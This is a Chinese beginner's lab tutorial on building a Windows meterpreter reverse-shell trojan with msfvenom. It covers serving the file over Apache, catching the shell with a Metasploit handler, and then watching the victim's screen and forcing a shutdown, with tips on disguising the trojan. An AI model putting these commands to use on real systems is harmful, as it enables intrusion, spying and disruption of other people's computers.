网络安全-木马入侵windows -msfvenom反弹shell（CMD）
前言
一，我也是初学者记录的笔记
二，可能有错误的地方，请谨慎
三，欢迎各路大神指教
四，任何文章仅作为学习使用
五，学习网络安全知识请勿适用于违法行为
学习网络安全知识请勿适用于违法行为
学习网络安全知识请勿适用于违法行为
学习网络安全知识请勿适用于违法行为
学习网络安全知识请勿适用于违法行为
重要的事情说几次
玩出事了，无论你做了几层NAT
几层代理，都能抓到你
相信中央相信党，犯罪没有好下场
需要做什么呢
使用kali制作木马，利用木马拿到windows主机shell（cmd）
漏洞与木马的区别在于
漏洞是某个系统某个框架，才能用
特定的环境下才可以
但是木马是全部机器都可以用
因为木马相当于软件
如果你电脑不能安装软件那你这个电脑也没啥用
制作木马
还是msf工具，漏洞框架-kali
本次攻击设备为kali，设备IP为192.168.248.136
本次被攻击设备为win10，设备IP为192.168.248.134
使用msfvenom来生成木马
└─# msfvenom
Error: No options
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> -f exe -o payload.exe
Options:
-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> Payload to use (--list payloads to list, --list-options for arguments). Specify '-' or STDIN for custom
--list-options List --payload <value>'s standard, advanced and evasion options
-f, --format <format> Output format (use --list formats to list)
-e, --encoder <encoder> The encoder to use (use --list encoders to list)
--service-name <value> The service name to use when generating a service binary
--sec-name <value> The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
--smallest Generate the smallest possible payload using all available encoders
--encrypt <value> The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
--encrypt-key <value> A key to be used for --encrypt
--encrypt-iv <value> An initialization vector for --encrypt
-a, --arch <arch> The architecture to use for --payload and --encoders (use --list archs to list)
--platform <platform> The platform for --payload (use --list platforms to list)
-o, --out <path> Save the payload to a file
-b, --bad-chars <list> Characters to avoid example: '\x00\xff'
-n, --nopsled <length> Prepend a nopsled of [length] size on to the payload
--pad-nops Use nopsled size specified by -n <length> as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space <length> The maximum size of the resulting payload
--encoder-space <length> The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations <count> The number of times to encode the payload
-c, --add-code <path> Specify an additional win32 shellcode file to include
-x, --template <path> Specify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name <value> Specify a custom variable name to use for certain output formats
-t, --timeout <second> The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
翻译
─# msfvenom公司
错误：没有选项
MsfVenom-Metasploit独立有效载荷生成器。
也是msfpayload和msfencode的替代品。
用法：/usr/bin/msfvenom[options]<var=val>
示例：/usr/bin/msfvenom-p windows/meterpreter/reverse_tcp LHOST=<IP>-f exe-o payload.exe
选项：
-l、 --list<type>列出[type]的所有模块。类型包括：有效载荷、编码器、nop、平台、arch、加密、格式、所有
-p、 --payload＜payload＞要使用的有效负载（--list要列出的有效负载，--list参数选项）。为自定义指定“-”或STDIN
--list options列表--payload＜value＞的标准、高级和回避选项
-f、 --format<format>输出格式（使用--list格式列出）
-e、 --encoder＜encoder＞要使用的编码器（使用--list编码器列出）
--service name＜value＞生成服务二进制文件时要使用的服务名称
--sec-name<value>生成大型Windows二进制文件时要使用的新节名。默认值：随机4字符字母字符串
--最小使用所有可用编码器生成最小可能的有效负载
--encrypt＜value＞要应用于外壳代码的加密或编码类型（使用--list encrypt to list）
--encrypt key＜value＞用于--encrypt的密钥
--encrypt iv＜value＞--encrypt的初始化向量
-a、 --arch<arch>用于--payload和--encoder的体系结构（使用--list-archs列出）
--platform＜platform＞--payload的平台（使用--list platforms列出）
-o、 --out＜path＞将有效负载保存到文件
-b、 --要避免的坏字符<list>字符：“\x00\xff”
-n、 --nopslid＜length＞将[length]大小的nopslide预先发送到有效负载
--pad nops使用-n＜length＞指定的nopsleed大小作为总有效载荷大小，自动预处理nopslee数量（nops减去有效载荷长度）
-s、 --space<length>生成的有效负载的最大大小
--编码器空间＜length＞编码有效载荷的最大大小（默认为-s值）
-i、 --iterations<count>编码有效负载的次数
-c、 --add code＜path＞指定要包含的其他win32 shellcode文件
-x、 --template<path>指定要用作模板的自定义可执行文件
-k、 --keep保留--template行为并将有效负载作为新线程注入
-v、 --var name＜value＞指定用于某些输出格式的自定义变量名
-t、 --timeout<second>从STDIN读取有效负载时等待的秒数（默认值为30，0表示禁用）
-h、 --help显示此消息
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.248.136 lport=1234 -f exe >muma.exe
这个解释一下
msfvenom 生成木马
-p 这个的意思是 payload，意思是攻击载荷，简单的说，生成怎么样的攻击模块
windows不用解释了吧
meterpreter/reverse_tcp 反弹shell的意思，就是提权的意思
lhost=本地IP
lport=本地端口
-f 输出格式 例如苹果的MAC你就要输出的是dmg的格式
exe是windows的软件方式
>muma.exe 生成软件为muma.exe
木马已经制作好了，那么现在需要让这个（被攻击的）去下砸，不然为什么叫木马呢，木马就是伪装成正常程序的软件，所以实战中可以这个自己加上图标什么的，装一下，不然咋下载呢
把木马放到apache下，然后windows才能访问才能下载
cp muma.exe /var/www/html/
把这个复制到网站服务器下面去
开启服务
service apache2 start
由于是学习！！！，所以没有在里面做免杀
直接放进去就会给干掉了
所以需要在受攻击是设备手动关闭防火墙
在浏览器输入
攻击机的IP/muma.txt 就会自动下载
我这里的是
192.168.248.136/muma.txt
还有个杀毒要关，忘记了
这回就可以了，然后运行起来
kali
然后进入msfconsole，监听windows
use exploit/multi/handler 绑定攻击模块
exploit是攻击模块，后面这个是他路径下的一个攻击模块
具体的msf的解释可以看这篇，也是我写的
https://blog.csdn.net/weixin_48137911/article/details/129052485?spm=1001.2014.3001.5501
set payload windows/meterpreter/reverse_tcp 使用攻击模块
set lhost 192.168.248.136 设置本机ip为攻击ip
set lport 1234 设置监听端口
然后就可以run执行了
攻击成功
开个vnc监控先
执行监控之后，在被攻击的设备上的屏幕就会自动传输过来了
shell
输入shell
成功反弹cmd，攻破系统，拿到权限
看到有乱码了
chap 65001
让他兼容适应不乱码
拿到shell之后想干啥干啥
一个小弹窗
直接跟他弹桌面了
拿到shell之后
mshta javascript:confirm（“内容”）;windwos.close（）
再比如
我关他的电脑shutdown /s 一分钟倒计时关机，而且不可以取消
你们爱干啥干啥哈~
我的杀毒软件
奇安信天守
下载的时候直接找出来了，也不让我下载。
所以你们平时下载的软件时候报警的那些还是看看叭~学着学着就知道的了